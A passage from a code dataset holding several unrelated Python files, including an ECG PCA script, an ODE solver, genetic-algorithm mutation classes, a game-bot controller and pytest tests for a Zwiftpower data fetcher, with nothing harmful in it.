plt\nimport utils\nimport encoders\nimport glob\nfrom sklearn.decomposition import PCA\nfrom tqdm import tqdm\nimport gc\nimport data_io\nimport random\n\nif __name__ == \"__main__\":\n directory = sys.argv[1]\n\n frame_length = 2**11 + 1\n patient_samples = 10\n context = int(frame_length / 2)\n filenames = [ directory + \"/%05d_batched.pkl.gz\" % i\n for i in range(9000) ]\n random.shuffle(filenames)\n\n data_raw = np.empty((len(filenames) * patient_samples, frame_length))\n i = 0\n\n def _loaded_files():\n for fname in tqdm(filenames):\n # print(\"Loading\", fname)\n yield pickle.load(gzip.open(fname, 'rb'))\n\n def load_file(fname):\n data = pickle.load(gzip.open(fname, 'rb'))\n segment = np.arange(data.shape[0])\n np.random.shuffle(segment)\n segment = segment[:patient_samples]\n segment = np.random.randint(data.shape[0])\n frame = np.random.randint(data.shape[1] - 2 * context) + context\n input_from = frame - context\n input_to = frame + context + 1\n input_seq = data[segment, input_from:input_to]\n return input_seq\n\n data_stream = data_io.multiprocess(filenames, load_file, worker_count=10)\n # data_stream = data_io.threaded(_loaded_files(), queue_size=20)\n\n\n for input_seq in tqdm(data_stream, total=len(filenames)):\n data_raw[i:i+patient_samples] = input_seq\n i += patient_samples\n if i % 1000 == 0:\n gc.collect()\n print(\"Done.\")\n data_raw = data_raw[:i]\n pickle.dump(data_raw, open('data.pkl', 'wb'))\n\n pca = PCA(n_components=100)\n pca.fit(data_raw)\n pickle.dump((pca.mean_, pca.components_), open(\"pca_100.pkl.gz\",\"bw\"), protocol=2)\n\n pca = PCA(n_components=50)\n pca.fit(data_raw)\n pickle.dump((pca.mean_, pca.components_), open(\"pca_50.pkl.gz\",\"bw\"), protocol=2)\n\n pca = PCA(n_components=10)\n pca.fit(data_raw)\n pickle.dump((pca.mean_, pca.components_), open(\"pca_10.pkl.gz\",\"bw\"), protocol=2)\n","repo_name":"shawntan/icentia-ecg","sub_path":"prepare_pca.py","file_name":"prepare_pca.py","file_ext":"py","file_size_in_byte":2113,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"11"} +{"seq_id":"31955575381","text":"# In this we create a callable function for evaluating linear ode's. Later we will modify this to add other basis functions, see DE Solver 6 when it's released.\n\nfrom main import *\nimport mpmath\nfrom mpmath import *\nimport math\nimport matplotlib.pyplot as plt\nimport latex\n\nplt.xlabel(r\"$x$\")\nplt.ylabel(r\"$y$\")\nplt.grid()\n\nmpmath.mp.dps = 100\nmpmath.mp.prec = 100\n\ndef points(m,a,b,basis=\"c\"):\n\t# Collocation Points - Chebyshev\n\tif basis == \"c\":\n\t\t# Chebyshev\n\n\t\tpoints1 = ChebyshevNodes(m)\n\n\t\t# Transformed Points\n\t\tpoints2 = []\n\n\t\tfor point in points1:\n\t\t\tpoints2.append((point*(b-a)/2+(b+a)/2))\n\telif basis == \"ec\":\n\t\t# Even Chebyshev\n\n\t\tpoints1 = ChebyshevNodes(2*m)\n\n\t\t# Transformed Points\n\t\tpoints2 = []\n\n\t\tfor point in points1:\n\t\t\tif point > 0:\n\t\t\t\tpoints2.append((point*(b-a)/2+(b+a)/2))\n\n\treturn points2\n\ndef polygen(m,a,b,basis=\"c\"):\n\n\tif basis ==\"c\":\n\t\t# Chebyshev\n\n\t\tpolysNT = ChebyshevGen(m)\n\n\t\t\t#Creating Our Translated Versions\n\t\tpolys = []\n\t\tfor i in range(m):\n\t\t\tp1 = polysNT[i]\n\t\t\tp1 = polyxstret(p1,(b-a)/2)\n\t\t\tp1 = polyxtrans(p1,(b+a)/2)\n\t\t\t\t\n\t\t\tpolys.append(p1)\n\telif basis == \"ec\":\n\t\t# Even Chebyshev\n\t\tpolysNTOE = ChebyshevGen(2*m)\n\n\t\t# Now we remove all the odd ones\n\t\ti = 0\n\t\tpolysNT = []\n\t\tfor poly in polysNTOE:\n\n\t\t\tif i % 2 == 0:\n\t\t\t\tpolysNT.append(poly)\n\n\t\t\ti += 1\n\n\n\t\t#Creating Our Translated Versions\n\t\tpolys = []\n\t\tfor i in range(m):\n\t\t\tp1 = polysNT[i]\n\t\t\tp1 = polyxstret(p1,(b-a)/2)\n\t\t\tp1 = polyxtrans(p1,(b+a)/2)\n\t\t\t\t\n\t\t\tpolys.append(p1)\n\n\treturn polys\n\n\ndef DESolver(g,f,D,XY=[],DXDY=[], basis=\"c\", N=20):\n\n\t# g = [g0,g1,g2,g3...]\n\t# f is what our ODE equals\n\t# D is our domain\n\t# XY is our initial coordinates\n\t# DXDY is our initial derivatives\n\t# basis represents what basis we will use, c means chebyshev\n\n\t# Order of the ODE\n\tn = len(g)-1\n\ta = D[0]\n\tb = D[1]\n\n\t# We start off by creating the Collocation points. \n\tif basis == \"c\":\n\t\t# Chebyshev \n\t\tpoints2 = points(N-n,a,b,\"c\")\n\t\tpolys = polygen(N,a,b,\"c\")\n\t\t\n\telif basis == \"ec\":\n\t\t# Even Chebyshev\n\t\tpoints2 = points(N-n,a,b,\"ec\")\n\t\tpolys = polygen(N,a,b,\"ec\")\n\n\n\n\n\n\t# So polys are our transformed Chebyshev Polynomials\n\n\t### Next let's create the N equations\n\n\t# This works so long as it's not a trigonometric polynomial basis\n\tif basis != \"t\":\n\t\t# Mx=B where x is the vector representing our coefficients a0,a1,a2...\n\t\tM = []\n\t\tB = []\n\n\t\t# We'll start with the Initial Conditions\n\n\t\t# Coordinates\n\t\tif XY != []:\n\t\t\tfor i in range(len(XY[0])):\n\n\t\t\t\tR=[]\n\n\t\t\t\tfor j in range(N):\n\n\t\t\t\t\tR.append(polyeval(polys[j],XY[0][i]))\n\t\t\t\tB.append(XY[1][i])\n\t\t\t\tM.append(R)\n\n\n\t\t# Derivatives\n\t\tif DXDY != []:\n\t\t\tfor i in range(len(DXDY[0])):\n\n\t\t\t\tR = []\n\t\t\t\tpolysd1 = polys.copy()\n\t\t\t\tpolysd = []\n\n\t\t\t\tfor poly in polysd1:\n\t\t\t\t\tpolysd.append(polydiff(poly))\n\n\t\t\t\tfor j in range(N):\n\t\t\t\t\tR.append(polyeval(polysd[j],DXDY[0][i]))\n\n\n\t\t\t\tB.append(DXDY[1][i])\n\n\t\t\t\tM.append(R)\n\n\n\t\t# Next we need our N-n equations from plugging in yN and evaluating it at our transformed Chebyshev Nodes\n\n\t\tfor i in range(N-n):\n\n\t\t\t# ith Transformed Chebyshev Node\n\t\t\tx = points2[i]\n\n\t\t\t# Initialising ith row of M\n\t\t\tR = []\n\n\t\t\t# Creating R\n\t\t\tfor j in range(N):\n\n\t\t\t\t# Initialising the value of the coefficient of aj in the ith row\n\t\t\t\tS = 0\n\n\t\t\t\t# Copying our polynomial so it doesn't get editted by our functions\n\t\t\t\tp = polys[j].copy()\n\n\n\t\t\t\t# Calculating the coefficient of aj in the ith row\n\t\t\t\tfor k in range(n+1):\n\t\t\t\t\tp1 = p.copy()\n\t\t\t\t\tp2 = polydiffn(p1,k)\n\t\t\t\t\t\n\n\t\t\t\t\tS += g[k](x)*polyeval(p2,x)\n\n\t\t\t\tR.append(S)\n\n\t\t\tM.append(R)\n\t\t\tB.append(f(x))\n\n\n\tM = mpmath.matrix(M)\n\tB = mpmath.matrix(B)\n\tA = mpmath.lu_solve(M,B)\n\n\n\tsolution = []\n\tfor i in range(N):\n\t\tsolution = polyadd(solution,polysmult(polys[i],A[i]))\n\n\treturn solution\n\n\n\n\n\"\"\"\nplt.title(r\"$y_2$\")\ndef g0(x):\n\treturn x*7*polyeval(z,x)**6\n\ndef g1(x):\n\treturn 2\n\ndef g2(x):\n\treturn x\n\n# What our ODE equals\ndef f(x):\n\n\treturn x*6*polyeval(z,x)**7\n\n\ndef f(x):\n\treturn -x\n\ndef g0(x):\n\treturn 0\n\ndef g1(x):\n\treturn 2\n\ndef g2(x):\n\treturn x\n\n\nD = [0,10]\ng = [g0,g1,g2]\nsolution = DESolver(g,f,D=D,XY=[[0],[1]],DXDY=[[0],[0]],basis=\"c\",N=20)\nprint(solution)\n\npoints = 100\ndx = (D[1]-D[0])/(points-1)\n\nxlist = [D[0]+i*dx for i in range(points)]\n\n\n\n#def ef(x):\n#\treturn 1-x**2/6+x**4/120-x**6/(120*6*7)\n#eylist = [ef(x) for x in xlist]\n#plt.plot(xlist,eylist,\"-r\",label=r\"$y*$\")\n\n\n\naylist = [polyeval(solution,x) for x in xlist]\nplt.plot(xlist,aylist,\"--g\",label=r\"$y=y_4$\")\n\n\npolys=[[1],[-1,0,2],[1,0,-8,0,8]]\na = [ 1.2173411583055409963875616632, 0.20842027928171569810339479336, -0.0089208790238252982841668698426]\nsolution1 = []\n\nfor i in range(3):\n\tsolution1 = polyadd(solution1,polysmult(polys[i],a[i]))\nprint(solution1)\ndef f(x):\n\n\treturn polyeval(solution1,x)\nnrlist = []\nfor x in xlist:\n\tnrlist.append(f(x))\nplt.plot(xlist,nrlist,\"--b\")\n\nplt.legend(loc=\"upper right\")\nplt.show()\n\n\n# We can call the above function and it will plot our ODE \n\"\"\"","repo_name":"max1-98/Project-3","sub_path":"DESolver5.py","file_name":"DESolver5.py","file_ext":"py","file_size_in_byte":4875,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"37562546733","text":"import random\n\n\nclass MutationStrategy:\n def __init__(self, initialMutationRate, num_chromosomes, evaluator):\n self.initialMutationRate = initialMutationRate\n self.mutationRate = initialMutationRate\n self.num_chromosomes = num_chromosomes\n self.evaluator = evaluator\n self.bestSolutionBuffer = 0\n self.sameSolutionCounter = 0\n\n def checkToChangeMutationRate(self, current_best_solution):\n\n if current_best_solution == self.bestSolutionBuffer:\n self.sameSolutionCounter += 1\n if self.sameSolutionCounter >= 10:\n self.mutationRate = min(self.mutationRate + 0.001, 0.1)\n self.sameSolutionCounter = 0\n else:\n self.mutationRate = self.initialMutationRate\n self.sameSolutionCounter = 0\n self.bestSolutionBuffer = current_best_solution\n \n def mutate(self):\n pass\n \n\n\nclass RandomMutationStrategy(MutationStrategy):\n def __init__(self, initialMutationRate, num_chromosomes, evaluator):\n super().__init__(initialMutationRate, num_chromosomes, evaluator)\n\n def mutate(self, population, current_best_solution):\n for chromosome in population:\n for i in range(len(chromosome)):\n if random.random() < self.mutationRate:\n if(random.random() > 0.1):\n chromosome[i] = 0\n else:\n chromosome[i] = 1\n\n\n self.checkToChangeMutationRate(current_best_solution)\n return population\n\n\nclass SelectiveMutationStrategy(MutationStrategy):\n def __init__(self, initialMutationRate, num_chromosomes, evaluator):\n super().__init__(initialMutationRate, num_chromosomes, evaluator)\n\n def mutate(self, population, current_best_solution):\n selected_individuals = random.sample(population, 10)\n\n for individual in selected_individuals:\n for i in range(len(individual)):\n if random.random() < self.mutationRate:\n if(random.random() > 0.1):\n individual[i] = 0\n else:\n individual[i] = 1\n\n self.checkToChangeMutationRate(current_best_solution)\n return population\n\n\nmutationTypes = {\n 'RANDOM_BIT_BIT': RandomMutationStrategy,\n 'SELECTIVE': SelectiveMutationStrategy\n}\n","repo_name":"alissonrms/genetic-algorithm-backpack-problem","sub_path":"src/modules/mutation.py","file_name":"mutation.py","file_ext":"py","file_size_in_byte":2388,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"6896939474","text":"import logging\nimport heapq\nimport numpy as np\nfrom enum import Enum, auto\nfrom collections import defaultdict\nfrom ..game import Game\nfrom ..tile import Tile\nfrom ..player import Player\nfrom ..unit import Unit\nimport random\n\n\nclass UnitTypes(Enum):\n WORKER = auto()\n ZOMBIE = auto()\n GHOUL = auto()\n HOUND = auto()\n ABOMINATION = auto()\n WRAITH = auto()\n HORSEMAN = auto()\n reverse_mapping = None\n\n def __str__(self):\n mapping = {\n self.WORKER.value: 'worker',\n self.ZOMBIE.value: 'zombie',\n self.GHOUL.value: 'ghoul',\n self.HOUND.value: 'hound',\n self.ABOMINATION.value: 'abomination',\n self.WRAITH.value: 'wraith',\n self.HORSEMAN.value: 'horseman'\n }\n \n return mapping.get(self.value)\n\nclass BaseController():\n def __init__(self, logger: logging.Logger, game: Game, player: Player):\n self._logger = logger\n self._game = game\n self._player = player\n self._controllers = []\n self._worker_spawners = []\n self._unit_spawners = []\n self._gold_mines = []\n self._gold_mine_coordinates = []\n self._units = defaultdict(list)\n self._jobs_by_title = {}\n self._unit_types = {\n 'worker': UnitTypes.WORKER,\n 'zombie': UnitTypes.ZOMBIE,\n 'ghoul': UnitTypes.GHOUL,\n 'hound': UnitTypes.HOUND,\n 'abomination': UnitTypes.ABOMINATION,\n 'wraith': UnitTypes.WRAITH,\n 'horseman': UnitTypes.HORSEMAN\n }\n self._tower_types = {\n 'arrow': 'arrow',\n 'ballista': 'ballista',\n 'cleansing': 'cleansing',\n 'aoe': 'aoe'\n }\n self._enemy_castle = None\n self.miners = []\n self.fishers = []\n self.builders = []\n\n for job in game.unit_jobs:\n self._jobs_by_title[job.title] = job\n\n for tile in game.tiles:\n if self.can_spawn_worker(tile):\n self._worker_spawners.append(tile)\n if self.can_spawn_unit(tile):\n self._unit_spawners.append(tile)\n if self.is_gold_mine(tile):\n self._gold_mines.append(tile)\n self._gold_mine_coordinates.append([tile.x, tile.y])\n if self.is_enemy_castle(tile):\n self._enemy_castle = tile\n \n self._gold_mine_coordinates = np.asarray(self._gold_mine_coordinates)\n \n def towers_attack(self):\n for tower in self.player.towers:\n for unit in self.player.opponent.units:\n a = abs(tower.tile.x - unit.tile.x)\n b = abs(tower.tile.y - unit.tile.y)\n if a + b <= tower.job.range or unit.tile in tower.tile.get_neighbors():\n tower.attack(unit.tile)\n \n def select_random_tower_type(self):\n choice = random.choice(list(self._tower_types))\n while choice == 'castle':\n choice = random.choice(list(self._tower_types))\n return choice\n \n def select_next_tower_type(self):\n choice = list(self._tower_types)[len(self.player.towers) % len(list(self._tower_types))]\n return choice\n \n def spawn_builder(self):\n if self.can_afford_unit(self._jobs_by_title[str(UnitTypes.WORKER)]) and len(self.builders) == 0:\n if self.select_spawner_for_unit(UnitTypes.WORKER).unit == None:\n tile = self.spawn_unit(UnitTypes.WORKER)\n if tile.unit:\n self.builders.append(tile.unit)\n \n def control_builders(self):\n for worker in self.builders:\n self.move_unit(worker, self.get_next_tower_tile(worker))\n \n def build_tower(self):\n for worker in self.builders:\n if worker.tile.id == self.get_next_tower_tile(worker).id:\n worker.build(self.select_next_tower_type())\n \n def get_next_tower_tile(self, worker):\n corner_tile = self.get_tower_corner(worker)\n x = corner_tile.x\n y = corner_tile.y\n found_tile = False\n tile = None\n while found_tile == False:\n if self.game.tiles[corner_tile.x + y * self.game.map_width].tower == None:\n found_tile = True\n tile = self.game.tiles[corner_tile.x + y * self.game.map_width]\n else:\n '''if corner_tile.x < self.game.map_width / 2:\n x = x + 1\n else:\n x = x - 1'''\n if self.game.tiles[x + corner_tile.y * self.game.map_width].tower == None:\n found_tile = True\n tile = self.game.tiles[x + corner_tile.y * self.game.map_width]\n else:\n if corner_tile.y < self.game.map_height / 2:\n y = y + 1\n else:\n y = y - 1\n return tile\n \n def get_tower_corner(self, worker):\n x = 0\n y = 0\n if worker.tile.x < self.game.map_width / 2:\n x = 7\n y = 8\n else:\n x = self.game.map_width - 7 - 1\n y = self.game.map_height - 7 - 2\n return self.game.tiles[x + y * self.game.map_width]\n\n def spawn_fisher(self):\n if self.can_afford_unit(self._jobs_by_title[str(UnitTypes.WORKER)]):\n if self.select_spawner_for_unit(UnitTypes.WORKER).unit == None:\n tile = self.spawn_unit(UnitTypes.WORKER)\n if tile.unit:\n self.fishers.append(tile.unit)\n \n def find_nearest_shore(self, unit):\n x = 0\n y = unit.tile.y\n if unit.tile.x > self.game._map_width / 2:\n x = int(self.game._map_width / 2) + 2\n else:\n x = int(self.game._map_width / 2) - 2\n if unit.tile.y < self.game._map_height / 2:\n while self.game.tiles[x + y * self.game.map_width].unit:\n y = y + 2\n else:\n while self.game.tiles[x + y * self.game.map_width].unit:\n y = y - 2\n return self.game.tiles[x + y * self.game.map_width]\n\n def control_fishers(self):\n for worker in self.fishers:\n foundwater = False\n for neighbor in worker.tile.get_neighbors():\n if neighbor.is_river:\n foundwater = True\n worker.fish(neighbor)\n if foundwater == False and worker.moves > 0:\n self.move_unit(worker, self.find_nearest_shore(worker))\n\n def get_unoccupied_gold_mine_coordinates(self):\n coords = []\n indices = []\n\n for i, gold_mine in enumerate(self._gold_mines):\n if gold_mine.unit is None:\n coords.append([gold_mine.x, gold_mine.y])\n indices.append(i)\n\n return indices, np.asarray(coords)\n \n def spawn_miner(self):\n if self.can_afford_unit(self._jobs_by_title[str(UnitTypes.WORKER)]):\n if self.select_spawner_for_unit(UnitTypes.WORKER).unit == None:\n tile = self.spawn_unit(UnitTypes.WORKER)\n if tile.unit:\n self.miners.append(tile.unit)\n\n def control_miners(self):\n dead_miners = []\n\n for worker in self.miners:\n if worker.tile is None:\n dead_miners.append(worker)\n continue\n \n if self.game.current_turn != 0 and self.game.current_turn % self.game.river_phase >= self.game.river_phase - 2 and abs(worker.tile.x - self.game.map_width / 2) <= 2:\n self.move_unit(worker, self.select_spawner_for_unit(worker.job.title), 1)\n\n elif worker.tile.is_gold_mine == True or worker.tile.is_island_gold_mine == True:\n worker.mine(worker.tile)\n\n elif worker.tile.is_gold_mine == False and worker.tile.is_island_gold_mine == False:\n self.move_unit(worker, self.get_closest_gold_mine(worker))\n \n for dead_miner in dead_miners:\n self.miners.remove(dead_miner)\n \n def select_random_attacker_type(self):\n choice = random.choice(list(self._unit_types))\n while choice == UnitTypes.WORKER:\n choice = random.choice(list(self._unit_types))\n return choice\n \n def get_attack_units(self):\n units = []\n for unit in self.player.units:\n if unit.job != self._jobs_by_title[str(UnitTypes.WORKER)]:\n units.append(unit)\n return units\n\n def get_closest_gold_mine(self, unit):\n tile = self.get_tile_from(unit)\n\n if self.is_gold_mine(tile) or tile is None:\n return tile if tile is not None else unit.tile\n \n coords = np.array([[tile.x, tile.y]])\n indices, gold_mine_coordinates = self.get_unoccupied_gold_mine_coordinates()\n\n if len(gold_mine_coordinates):\n dist = self.distance_vectorized(coords, gold_mine_coordinates)\n else:\n dist = self.distance_vectorized(coords, self._gold_mine_coordinates)\n return self._gold_mines[np.argmin(dist)]\n \n return self._gold_mines[indices[np.argmin(dist)]]\n \n def can_afford_unit(self, job):\n output = False\n if self.player.gold >= job.gold_cost and self.player.mana >= job.mana_cost:\n output = True\n return output\n \n def can_spawn_worker(self, tile):\n return tile.owner == self.player and tile.is_worker_spawn\n \n def can_spawn_unit(self, tile):\n return tile.owner == self.player and tile.is_unit_spawn\n\n def is_gold_mine(self, tile):\n return tile.is_gold_mine or tile.is_island_gold_mine\n \n def is_enemy_castle(self, tile):\n return tile.is_castle == True and tile.owner != self.player\n \n @property\n def enemy_castle(self):\n return self._enemy_castle\n \n @property\n def logger(self):\n return self._logger\n \n @property\n def game(self):\n return self._game\n\n @property\n def player(self):\n return self._player\n\n @property\n def num_units(self):\n return len(self.player.units)\n\n @property\n def workers(self):\n return self._units[UnitTypes.WORKER]\n\n @property\n def controllers(self):\n return self._controllers\n\n @property\n def worker_spawners(self):\n return self._worker_spawners\n\n @property\n def unit_spawners(self):\n return self._unit_spawners\n \n def add_controller(self, controller):\n self._controllers.append(controller)\n \n def run_turn(self):\n for controller in self.controllers:\n controller.run_turn()\n\n def select_spawner_for_unit(self, unit_type: UnitTypes):\n if unit_type == UnitTypes.WORKER and self.worker_spawners:\n return self.worker_spawners[0]\n elif self.unit_spawners:\n return self.unit_spawners[0]\n \n return None\n\n def get_tile_from(self, object):\n if hasattr(object, 'tile'):\n return object.tile\n elif isinstance(object, Tile):\n return object\n \n return None\n\n def move_cost(self, start, goal):\n return 1\n\n def distance_vectorized(self, start_coords, goal_coords):\n return np.sum(np.abs(start_coords - goal_coords), axis=1)\n\n def distance(self, start, goal):\n return np.abs(start.x-goal.x) + np.abs(start.y-goal.y)\n\n def _reconstruct_path(self, current_tile, came_from, start):\n path = [current_tile]\n\n while current_tile in came_from:\n current_tile = came_from[current_tile]\n\n if current_tile != start:\n path.insert(0, current_tile)\n \n return path\n\n def get_unit_type(self, unit: Unit):\n return self._unit_types[unit.job.title]\n\n def can_move_unit_to(self, tile: Tile, unit_type: UnitTypes):\n num_unit_on_tile = defaultdict(lambda: tile.unit.job.title == str(unit_type) if tile.unit is not None else 0)\n num_unit_on_tile[UnitTypes.GHOUL] = tile.num_ghouls\n num_unit_on_tile[UnitTypes.HOUND] = tile.num_hounds\n num_unit_on_tile[UnitTypes.ZOMBIE] = tile.num_zombies\n\n if tile.unit is not None and tile.unit.job.title != str(unit_type):\n return False\n if tile.tower is not None:\n return False\n if not (num_unit_on_tile[unit_type] < self._jobs_by_title[str(unit_type)].per_tile):\n return False\n\n if unit_type is None:\n return True\n if unit_type != UnitTypes.WORKER:\n return tile.is_path\n else:\n return tile.is_grass or tile.is_gold_mine or tile.is_island_gold_mine\n \n def find_path(self, start, goal, f_metric=None):\n f_metric = f_metric if f_metric else self.distance\n unit_type = None\n\n if isinstance(start, Unit):\n unit_type = self.get_unit_type(start)\n elif isinstance(start, Tile):\n unit_type = start.unit\n \n start = self.get_tile_from(start)\n goal = self.get_tile_from(goal)\n visited = set(start.id)\n\n came_from = {}\n g_score = defaultdict(lambda: np.inf)\n g_score[start] = 0\n f_score = defaultdict(lambda: np.inf)\n f_score[start] = f_metric(start, goal)\n priority_queue = [(f_score[start], start.id, start)]\n unpathable = 0\n\n while priority_queue:\n _, tile_id, current_tile = heapq.heappop(priority_queue)\n\n if current_tile == goal:\n return self._reconstruct_path(current_tile, came_from, start)\n \n unpathable = 0\n\n for neighbor in current_tile.get_neighbors():\n if neighbor != goal and not self.can_move_unit_to(neighbor, unit_type):\n unpathable += 1\n continue\n \n score = g_score[current_tile] + self.move_cost(start, goal)\n\n if score < g_score[neighbor]:\n came_from[neighbor] = current_tile\n g_score[neighbor] = score\n f_score[neighbor] = g_score[neighbor] + f_metric(current_tile, neighbor)\n \n if neighbor not in visited:\n visited.add(neighbor.id)\n heapq.heappush(priority_queue, (f_score[neighbor], neighbor.id, neighbor))\n \n if unpathable == len(current_tile.get_neighbors()):\n return self._reconstruct_path(current_tile, came_from, start)\n \n self.logger.warn(f'Failed to find path for unit `{unit_type}`.' + str(start.unit) + ' ' + str(goal.x) + ' ' + str(goal.y))\n return []\n\n def move_unit(self, unit: Unit, goal, number_of_moves=None):\n path = self.find_path(unit, goal)\n goal = self.get_tile_from(goal)\n\n if path and path[0] == goal:\n unit.move(path[0])\n return \n \n for i in range(len(path)):\n if unit.moves <= 0:\n break\n \n if number_of_moves and i >= number_of_moves:\n break\n \n if not unit.move(path[i]):\n self.logger.warn(f'Failed to move unit `{unit.id}`.')\n break\n else:\n self.logger.info(f'Sucessfully moved unit of type `{unit.job.title}`')\n\n def spawn_unit(self, unit_type: UnitTypes, where=None):\n where: Tile = where if where is not None else \\\n self.select_spawner_for_unit(unit_type)\n \n self.logger.info(f'Attempting to spawn unit type `{unit_type}`...')\n\n if where:\n unit_was_spawned = False\n\n if unit_type == UnitTypes.WORKER:\n unit_was_spawned = where.spawn_worker()\n else:\n unit_was_spawned = where.spawn_unit(str(unit_type))\n\n if unit_was_spawned:\n self.logger.info('Unit spawned successfully.')\n self._units[unit_type].append(where.unit)\n else:\n self.logger.warn('Failed to spawn unit.')\n else:\n self.logger.warn('No base was found for the current player.')\n\n return where\n\n\n def get_units(self, unit_type: UnitTypes):\n return self._units[unit_type]","repo_name":"firecannons/MMAI24","sub_path":"games/necrowar/controllers/central_command.py","file_name":"central_command.py","file_ext":"py","file_size_in_byte":16384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"9781765591","text":"import pytest\nfrom os.path import isdir\nfrom os import remove, makedirs\nfrom fetch import FetchJson\nfrom ZFileDb import ZFileDb\n\n\n# def test_setup_database():\n# db = ZFileDb(db_path=\"temp_data/database/ZFileDb\")\n# for folder in db.cached.values():\n# assert isdir(folder)\n#\n#\n# def test_login():\n# # Define the database\n# db = ZFileDb(db_path=\"temp_data/database/ZFileDb\")\n# f = FetchJson(db=db)\n# f.login()\n# assert \"Zwift Profile\" in f.session.get(\"https://zwiftpower.com\").text\n\n\n@pytest.fixture(scope='session')\ndef z():\n print(\"##-setting up fixture-##\")\n db = ZFileDb(db_path=\"temp_data/database/ZFileDb\")\n f = FetchJson(db=db)\n f.login()\n return f\n\n@pytest.fixture(scope=\"session\")\ndef dirs():\n makedirs(\"temp_data\", exist_ok=True)\n\ndef test_fetch_result(z, dirs):\n try:\n result, cache = z.fetch_result(2600544, refresh=False)\n assert cache == \"refresh\"\n result, cache = z.fetch_result(2600544, refresh=False)\n assert cache == \"cache\"\n view_data_keys = ['DT_RowId', 'ftp', 'friend', 'pt', 'label', 'zid', 'pos', 'position_in_cat', 'name', 'cp', 'zwid', 'res_id', 'lag', 'uid', 'time', 'time_gun', 'gap', 'vtta', 'vttat', 'male', 'tid', 'topen', 'tname', 'tc', 'tbc', 'tbd', 'zeff', 'category', 'height', 'flag', 'avg_hr', 'max_hr', 'hrmax', 'hrm', 'weight', 'power_type', 'display_pos', 'src', 'age', 'zada', 'note', 'div', 'divw', 'skill', 'skill_b', 'skill_gain', 'np', 'hrr', 'hreff', 'avg_power', 'avg_wkg', 'wkg_ftp', 'wftp', 'wkg_guess', 'wkg1200', 'wkg300', 'wkg120', 'wkg60', 'wkg30', 'wkg15', 'wkg5', 'w1200', 'w300', 'w120', 'w60', 'w30', 'w15', 'w5', 'is_guess', 'upg', 'penalty', 'reg', 'fl', 'pts', 'pts_pos', 'info', 'info_notes', 'log', 'lead', 'sweep', 'actid', 'anal']\n zwift_data_keys = ['DT_RowId', 'name', 'watts', 'wkg', 'bpm', 'hrm', 'race_time', 'time_diff', 'zwid', 'label', 'dq_cat', 'pos', 'power_type', 'wkg_ftp', 'wkg1200', 'lagp', 'events']\n assert list(result['view_data'][0].keys()) == view_data_keys\n assert list(result['zwift_data'][0].keys()) == zwift_data_keys\n except Exception as e:\n raise e\n finally:\n remove(\"temp_data/database/ZFileDb/results/2600544.json\")\n\ndef test_result_list(z, dirs):\n z.result_list(refresh=False)\n result, cache = z.result_list(refresh=False)\n assert cache == \"cache\"\n result_list_fields = ['DT_RowId', 'friends', 'tent', 'f_list', 'tent_list', 'km', 'tm', 'r', 't', 'zid', 'rid', 'spi', 'spl', 'f', 'zcl',\n 'rt', 'layout', 'layout_w', 'rk', 'laps', 'cats', 'signups', 'stag', 'w', 'dur', 'dir', 'f_t', 'f_km', 'f_time',\n 'f_day', 'f_w', 'f_ru', 'f_r', 'rtype', 'eid', 'rules', 'crules', 'cul', 'fin', 'ctype', 'tags', 'recur', 'lbl']\n assert list(result['results_list'][0].keys()) == result_list_fields\n\ndef test_event_list(z, dirs):\n z.event_list(refresh=False)\n result, cache = z.event_list(refresh=False)\n print(list(result['event_list'][0].keys()))\n assert cache == \"cache\"\n # result_list_fields = ['DT_RowId', 'friends', 'tent', 'f_list', 'tent_list', 'km', 'tm', 'r', 't', 'zid', 'rid', 'spi', 'spl', 'f', 'zcl',\n # 'rt', 'layout', 'layout_w', 'rk', 'laps', 'cats', 'signups', 'stag', 'w', 'dur', 'dir', 'f_t', 'f_km', 'f_time',\n # 'f_day', 'f_w', 'f_ru', 'f_r', 'rtype', 'eid', 'rules', 'crules', 'cul', 'fin', 'ctype', 'tags', 'recur', 'lbl']\n # assert list(result['results_list'][0].keys()) == result_list_fields\n\n","repo_name":"vincentdavis/Zwiftpower_tools","sub_path":"test_fetch.py","file_name":"test_fetch.py","file_ext":"py","file_size_in_byte":3475,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"11"} +{"seq_id":"5533389414","text":"from enums.Sabotages import Sabotage\nfrom enums.Tasks import Tasks\n\n# Variables ###\nSCREEN_X = 1920\nSCREEN_Y = 1080\nSCREEN_HALF_X = SCREEN_X // 2\nSCREEN_HALF_Y = SCREEN_Y // 2\nTASK_LIST = (\n {\"task\": Tasks.CHECK_INBOX, \"indexes\": [0]},\n {\"task\": Tasks.REFILL_HAND_SANITIZER, \"indexes\": [1, 2]},\n {\"task\": Tasks.CHECK_TEMPERATURE, \"indexes\": [3]},\n {\"task\": Tasks.RESET_WIFI, \"indexes\": [4]},\n {\"task\": Tasks.PLUG_IN_LAPTOPS, \"indexes\": [5, 6]},\n {\"task\": Tasks.WIPE_DOWN_TABLES, \"indexes\": [7, 8, 9, 10]},\n {\"task\": Tasks.CLEAN_WINDOWS, \"indexes\": [11, 12, 13, 14, 15, 16, 17, 18]},\n {\"task\": Tasks.NOMINATE_FOR_AWARDS, \"indexes\": [19]},\n {\"task\": Tasks.COLLECT_TRASH, \"indexes\": [20, 21, 22, 23, 24, 25, 26, 27]},\n {\"task\": Tasks.DO_FLASHCARDS, \"indexes\": [28]}\n)\nMINIMAP_X = 447\nMINIMAP_Y = 402\nDOOR_CLOSED_TIME = 20\nSABOTAGE_COOLDOWN_TIMES = {\n Sabotage.LIGHTS: 40,\n Sabotage.LEFT_AC: 40,\n Sabotage.RIGHT_AC: 40,\n Sabotage.ZOOM_MEETING: 40,\n Sabotage.SPOILED_FOOD: 40\n}\nDOOMSDAY_CLOCK_TIME = 60\nMAX_VIEW_DISTANCE = 400\nMIN_VIEW_DISTANCE = 60\n###","repo_name":"Lance-Easley/Uhmong-Us","sub_path":"constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":1094,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"11"} +{"seq_id":"2982457035","text":"from convert import converter_farenheight as con\r\nfrom convert import converter_celcius as con_celcius\r\nimport requests\r\nimport sys\r\n\r\n\r\ndef get(city ,key):\r\n city = 